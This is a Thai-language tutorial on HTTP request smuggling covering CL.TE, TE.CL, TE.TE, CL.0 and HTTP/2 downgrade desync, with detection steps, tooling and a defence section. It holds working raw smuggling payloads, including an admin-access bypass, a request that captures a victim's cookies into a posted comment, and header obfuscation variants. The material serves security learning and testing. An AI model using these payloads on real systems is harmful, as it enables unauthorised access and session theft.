HTTP Request Smuggling
HTTP Request Smuggling (HTTP desync) ใช้ความไม่ตรงกันในการตีความขอบเขตของ request ระหว่าง front-end (proxy/CDN/LB) กับ back-end server ทำให้ 'แอบ' request เข้าไปปนกับของผู้อื่น นำไปสู่ bypass การควบคุมด้านหน้า, ขโมย request ของเหยื่อ, cache poisoning และ mass XSS บทนี้ครอบคลุม CL.TE, TE.CL, TE.TE, CL.0 และ HTTP/2 downgrade desync
1. หลักการ desync
HTTP/1.1 ระบุความยาว body ได้ 2 ทาง: Content-Length (CL) บอกจำนวน byte ตรงๆ และ Transfer-Encoding: chunked (TE) ที่จบด้วย chunk ขนาด 0 ถ้า front-end กับ back-end เลือกใช้คนละตัวเมื่อ request มีทั้งคู่ ขอบเขตของ request จะไม่ตรงกัน — byte ส่วนเกินที่ front-end คิดว่าจบแล้ว back-end กลับมองเป็นต้น request ถัดไป เมื่อ back-end เอา request ถัดไปของเหยื่อมาต่อท้าย byte ที่เรา smuggle ไว้ เราจึงควบคุมส่วนหน้าของ request คนอื่นได้
| ชนิด | front-end ใช้ | back-end ใช้ | แนวทาง |
|---|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding | front-end ตัดตาม CL, back-end อ่าน chunked |
| TE.CL | Transfer-Encoding | Content-Length | front-end อ่าน chunked, back-end ตัดตาม CL |
| TE.TE | ทั้งคู่รองรับ TE แต่ obfuscate ให้ตัวหนึ่งพลาด | — | ทำ header TE ให้ตัวหนึ่งไม่รู้จัก → กลับไปใช้ CL |
| CL.0 | ปกติ | มองข้าม CL (GET/static) | back-end ไม่อ่าน body → body ทั้งก้อนกลายเป็น request ใหม่ |
| H2.CL / H2.TE | HTTP/2 → downgrade เป็น HTTP/1.1 | CL หรือ TE | front-end แปลง h2→h1 โดยเชื่อ header ที่ควบคุมได้ |
2. การตรวจจับ (timing-based)
วิธีปลอดภัยสุดคือ timing-based detection: ส่ง payload ที่ถ้าเกิด desync จะทำให้ back-end รอ body ที่ไม่มีวันมาครบ → response ช้าผิดปกติ (มัก timeout ~5-10 วินาที) ต่างจากการยิง follow-up request ที่อาจกระทบผู้ใช้จริง เครื่องมือ smuggler.py และ Burp extension HTTP Request Smuggler ทำ detection แบบนี้อัตโนมัติ
POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
# front-end (CL=4) ส่งแค่ 4 byte แรก: "1\r\nA"
# back-end (TE) อ่าน chunk "A" แล้วรอ chunk ถัดไป (X ยังไม่จบด้วย 0)
# → back-end ค้าง = response ช้า = ยืนยัน CL.TEPOST / HTTP/1.1
Host: target
Content-Length: 6
Transfer-Encoding: chunked
0
X
# front-end (TE) เห็น chunk 0 → จบ request ที่บรรทัดว่าง
# back-end (CL=6) รอครบ 6 byte แต่ได้ไม่ครบ → ค้างรอ = ยืนยัน TE.CL3. Exploitation — CL.TE ทีละขั้น
ใน CL.TE: front-end นับตาม Content-Length จึงส่ง body ทั้งก้อนไป back-end แต่ back-end อ่านแบบ chunked เห็น chunk 0 ว่าจบ request แล้วมองส่วนที่เหลือเป็น request ใหม่ (smuggled) เราจึงยัด request ปลอมต่อท้ายได้
POST / HTTP/1.1
Host: target
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target
X-Ignore: X
# back-end เห็น chunk 0 → จบ request แรก
# แล้วเริ่ม parse "GET /admin ..." เป็น request ใหม่
# แม้ front-end จะบล็อก /admin จากภายนอก แต่ smuggled request
# มาจาก 'ภายใน' หลัง front-end → bypass access control4. Exploitation — TE.CL และ capture request
ใน TE.CL: front-end อ่าน chunked (ส่งครบตาม chunk) แต่ back-end นับตาม Content-Length ที่เล็กกว่า จึงตัด request สั้น แล้วเก็บส่วนที่เหลือเป็น prefix ของ request เหยื่อ เทคนิคยอดฮิตคือทำให้ request ของเหยื่อถูก เก็บลงตัวแปร/สะท้อนกลับ เพื่อขโมย cookie/token
POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked
7c
POST /comment HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
comment=
0
# ตัว 7c = ขนาด chunk (hex). back-end (CL=4) หยุดที่ "7c\r\n"
# ส่วนที่เหลือ (POST /comment ... comment=) กลายเป็น prefix
# request ถัดไปของเหยื่อจะถูกต่อท้าย comment= → header+cookie ของเหยื่อ
# ถูกโพสต์เป็น comment ให้เราอ่าน5. TE.TE, CL.0 และ HTTP/2 downgrade
TE.TE (obfuscation): ทั้งสองฝั่งรองรับ TE แต่ทำ header ให้ตัวหนึ่งไม่รู้จัก จนกลับไปใช้ CL การ obfuscate ยอดนิยม:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked (มี space ก่อน colon)
Transfer-Encoding:\tchunked (ใช้ tab)
Transfer-Encoding: chunked\r\nX: X
X: X\nTransfer-Encoding: chunked
Transfer-Encoding
: chunked (fold header ข้ามบรรทัด)CL.0: เกิดเมื่อ back-end ละเลย body ของ request บาง endpoint (เช่น static file, redirect, หรือ method ที่ไม่ควรมี body) — body ทั้งก้อนจึงกลายเป็น request ใหม่ ทดสอบด้วยการส่ง POST ไป endpoint static แล้วยัด smuggled request ใน body
POST /static/style.css HTTP/1.1
Host: target
Content-Length: 34
GET /admin/delete?user=carlos HTTP/1.1
X: X
# ถ้า back-end เสิร์ฟ /static แบบ ignore body (CL.0)
# → "GET /admin/delete..." กลายเป็น request ถัดไปบน connectionHTTP/2 downgrade desync: ระบบจำนวนมากรับ HTTP/2 ที่ front-end แล้ว downgrade เป็น HTTP/1.1 ไป back-end HTTP/2 มี length ในตัว (ไม่ต้องพึ่ง CL/TE) แต่ถ้า front-end เอา header content-length / transfer-encoding ที่ผู้โจมตีใส่ไปสร้าง HTTP/1.1 ต่อ จะเกิด H2.CL / H2.TE desync — ทดสอบด้วย Burp ที่ตั้ง 'Allow HTTP/2 ALPN override' และปิด normalize
:method POST
:path /
:authority target
content-length 0
GET /admin HTTP/1.1
Host: target
Foo: bar
# HTTP/2 frame มี length จริง แต่ front-end ใส่ content-length: 0
# ตอน downgrade → back-end HTTP/1.1 เชื่อ CL=0 → body ("GET /admin")
# กลายเป็น request ใหม่6. Decision flow — ไล่หา desync
7. เครื่องมือ
# smuggler — สแกน CL.TE / TE.CL / TE.TE อัตโนมัติ
git clone https://github.com/defparam/smuggler
cd smuggler
python3 smuggler.py -u https://target.com/
# ระบุ method / เก็บ payload ที่ติด
python3 smuggler.py -u https://target.com/ -m POST -q
# h2csmuggler — HTTP/2 cleartext (h2c) upgrade smuggling
git clone https://github.com/BishopFox/h2csmuggler
python3 h2csmuggler.py -x https://target.com/ http://backend/admin- Burp HTTP Request Smuggler — detect (timing) + สร้าง exploit + 'Smuggle probe' อัตโนมัติ
- smuggler.py — สแกน CLI หลาย mutation ของ CL/TE
- Burp Repeater (HTTP/2 mode) — ส่ง malformed h2 ทดสอบ downgrade desync
- Turbo Intruder — ยิง smuggled + follow-up ให้ตรง connection/timing
- h2csmuggler — h2c upgrade smuggling ผ่าน front-end ที่เผลอ upgrade
8. ข้อผิดพลาด & troubleshooting
- Content-Length นับผิด: ต้องนับรวม CRLF ให้เป๊ะ — ให้ Burp/extension คำนวณ
- Burp auto-normalize header: ปิด 'Update Content-Length' และ normalization เวลาทำมือ ไม่งั้น payload ถูกแก้
- ทดสอบผ่าน HTTP/2 แต่ไม่รู้ตัว: Burp อาจใช้ h2 อัตโนมัติ ทำให้ h1 payload ไม่ทำงาน — ตั้ง protocol ให้ตรง
- connection reuse: desync ต้องให้ smuggled + victim อยู่ TCP connection เดียวกัน — front-end บางตัวปิด keep-alive
- เจอ false positive จาก network jitter: ยืนยัน timing หลายรอบ ไม่ใช่ครั้งเดียว
- WAF ปรับ header: บาง WAF strip TE ซ้ำ ลอง obfuscation หลายแบบ
9. การป้องกัน
- ใช้ HTTP/2 end-to-end (front-end ↔ back-end) โดยไม่ downgrade — length ชัดเจนในตัว
- ถ้าจำเป็นต้อง downgrade: normalize/re-generate header, ห้ามส่งต่อ CL/TE ที่ client ควบคุม
- ปฏิเสธ request ที่มี ทั้ง Content-Length และ Transfer-Encoding (RFC บอกให้ปฏิเสธหรือใช้ TE)
- front-end และ back-end ควรใช้ HTTP parser ตัวเดียวกัน/ตั้งค่าตรงกัน
- ปิด connection reuse ระหว่าง front-end↔back-end ถ้าเป็นไปได้ (ลด impact)
- ตั้ง WAF/parser ให้ reject header ที่ obfuscate (space ก่อน colon, TE ที่ไม่ใช่ chunked ตัวเดียว)
10. Quick Reference
- เกิดเมื่อ front-end/back-end ตีความ CL vs TE ไม่ตรงกัน
- ชนิด: CL.TE, TE.CL, TE.TE (obfuscation), CL.0, H2.CL/H2.TE
- detect: timing-based (probe ทำให้ back-end ค้าง = ช้า)
- CL.TE: chunk 0 + smuggled GET /admin → bypass control
- TE.CL: chunk ขนาด hex + CL เล็ก → capture request เหยื่อ
- HTTP/2 downgrade: inject content-length/transfer-encoding
- เครื่องมือ: Burp HTTP Request Smuggler, smuggler.py, h2csmuggler
- impact: bypass control, capture session, cache poisoning, mass XSS
- ป้องกัน: HTTP/2 e2e, reject CL+TE, normalize header
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอเว็บที่อยู่หลัง proxy/CDN (เช่นเห็น header Via, X-Cache, Server ไม่ตรงกับ backend) มีแค่ Kali เปล่าๆ ไล่ตามนี้ทีละขั้น
- 1curl -sI https://target/ ดู header ที่บอกว่ามี front-end แยกจาก back-end (Via, X-Cache, Server สองชั้น)
- 2โคลน smuggler.py: git clone https://github.com/defparam/smuggler แล้ว python3 smuggler.py -u https://target/
- 3ถ้ามี Burp ติดตั้ง extension ฟรี 'HTTP Request Smuggler' จาก BApp Store แล้วรัน 'Smuggle probe' บน request ที่สนใจ
- 4สังเกตว่า probe ไหน response ช้าผิดปกติ (timeout ~5-10 วินาที) — นั่นคือสัญญาณ CL.TE หรือ TE.CL
- 5ถ้า smuggler.py/Burp บอกว่าเจอ CL.TE ให้ลองสร้าง smuggled request ด้วยมือใน Burp Repeater ตามตัวอย่างในหัวข้อ Exploitation
- 6ปิด 'Update Content-Length' และ auto-normalize header ใน Burp Repeater ก่อนส่ง payload มือ (Repeater → ปุ่ม config)
- 7ยิง smuggled request ที่มี GET /admin ต่อท้าย ดูว่า response ถัดไปบน connection เดียวกันได้เนื้อหาของ /admin ไหม
- 8ถ้าไม่ติด h1 ให้เปลี่ยน Repeater เป็นโหมด HTTP/2 แล้วลอง inject content-length ปลอม (H2.CL/H2.TE)
- 9ถ้ายืนยันได้ ลองดูว่า response ที่ desync ถูก cache ไหม (X-Cache header) เพื่อชี้ไปทาง cache poisoning
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| detect CL.TE/TE.CL อัตโนมัติ | - | smuggler.py (git clone defparam/smuggler) | - |
| detect + exploit ใน Burp | Burp Suite Community | HTTP Request Smuggler (BApp Store) | - |
| h2c upgrade smuggling | - | h2csmuggler (git clone BishopFox/h2csmuggler) | - |
| ส่ง raw request คุม byte เป๊ะ | nc, openssl s_client | - | - |
| ตรวจ header/CDN เบื้องต้น | curl -sI | - | - |
| คำนวณ chunk size hex/encode payload | - | - | CyberChef |
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้